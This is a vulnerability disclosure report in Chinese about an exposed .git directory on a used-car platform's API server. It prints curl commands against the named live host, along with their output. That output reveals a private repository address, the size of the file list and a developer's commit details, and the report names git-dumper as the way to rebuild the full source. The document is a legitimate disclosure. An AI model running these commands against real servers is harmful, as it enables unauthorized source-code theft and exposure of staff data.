Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-01158
- Vendor: 成御媒體科技股份有限公司
- Title: SiCAR愛車酷 .git 暴露
- Introduction: 中古車平台之後端 API 主機網站根目錄下的 .git/ 版本控制,目錄可未經任何認證透過 HTTP 直接讀取。
處理狀態
目前狀態
公開
Last Update : 2026/11/14
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/09/14 12:07:24 : 新提交 (由 MaZon 更新此狀態)
- 2026/09/16 20:42:12 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/17 16:11:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/17 16:11:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/17 16:11:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/11/14 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-01158
- 通報者:masonzeng (MaZon)
- 風險:高
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://api.sicar.com.tw/.git/config
https://api.sicar.com.tw/.git/HEAD
https://api.sicar.com.tw/.git/index
https://api.sicar.com.tw/.git/logs/HEAD
https://api.sicar.com.tw/.git/objects/7e/6259532f0e32499c2235041f9faa795f0c61b7
https://api.sicar.com.tw/.git/HEAD
https://api.sicar.com.tw/.git/index
https://api.sicar.com.tw/.git/logs/HEAD
https://api.sicar.com.tw/.git/objects/7e/6259532f0e32499c2235041f9faa795f0c61b7
敘述
該主機於部署時保留了 .git 版本控制目錄,且 Web 伺服器未阻擋其存取。任何未認證使用者僅需一般 GET 請求即可讀取其中檔案。關鍵在於 Git 物件亦可取得——這使得攻擊者能以公開工具(如 git-dumper)自 index 與 packed-refs 逐一取回物件,完整還原後端原始碼。
讀取儲存庫設定,取得私有儲存庫位址
指令:
curl -s https://api.sicar.com.tw/.git/config
curl -s https://api.sicar.com.tw/.git/HEAD
回應:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = [email protected]:sicar_backend/sicarBackend.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
ref: refs/heads/master
該儲存庫為私有:https://gitlab.com/sicar_backend/sicarBackend 與
https://gitlab.com/sicar_backend 皆回 302 導向登入。
remote 為 SSH 形式,隱含以 deploy key 部署,儲存庫位址與分支結構外洩。
讀取 index,確認受版控檔案規模
指令:
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' https://api.sicar.com.tw/.git/index
curl -s -r 0-3 https://api.sicar.com.tw/.git/index; echo
回應:
200 5307648
DIRC
magic bytes 為 DIRC,確認為有效 Git index。其標頭第 9–12 bytes 之項目數欄位為0x0000947b,即 37,979 筆受版控檔案。此檔即後端之完整檔案路徑清單。
讀取提交歷史
指令:
curl -s https://api.sicar.com.tw/.git/logs/HEAD -o lg.txt; wc -l lg.txt
head -1 lg.txt | sed -f redact.sed
回應:
178 lg.txt
a107cc668217e2eb68e10bb6a29afe9c5910a2b0 986d4231c00833a816e67491d3d823ae68c17043 JasonHuang <Jas###@inspire-dt.com> 1747111254 +0800 pull: Fast-forward
178 筆提交紀錄,時間範圍 2025-05-13 至 2026-06-29,每筆含具原始碼寫入權限之開發者姓名與電子郵件;網域 inspire-dt.com 研判為外包開發商。
確認 Git 物件可取得
指令與回應:
H=$(curl -s https://api.sicar.com.tw/.git/ORIG_HEAD | tr -d '\n')
→ ORIG_HEAD=7e6259532f0e32499c2235041f9faa795f0c61b7
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
https://api.sicar.com.tw/.git/objects/7e/6259532f0e32499c2235041f9faa795f0c61b7
→ real-object 200 287
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
https://api.sicar.com.tw/.git/objects/7e/zzzznotanobject93170000000000000000
→ fake-object 404 1130
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
https://api.sicar.com.tw/zzznotexist9317
→ baseline404 404 1130
物件回 200 且大小(287)與基線不同;虛構物件之回應(404/1,130)與站台完全一致。兩者行為分歧,證明伺服器確實依路徑提供物件內容,而非以 catch-all 頁面回應所有請求。結合可讀之 index 與 packed-refs,未授權者具備以公開工具還原整個儲存庫之全部條件。
修補建議
於 Web 伺服器層阻擋 `.git` 目錄存取
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。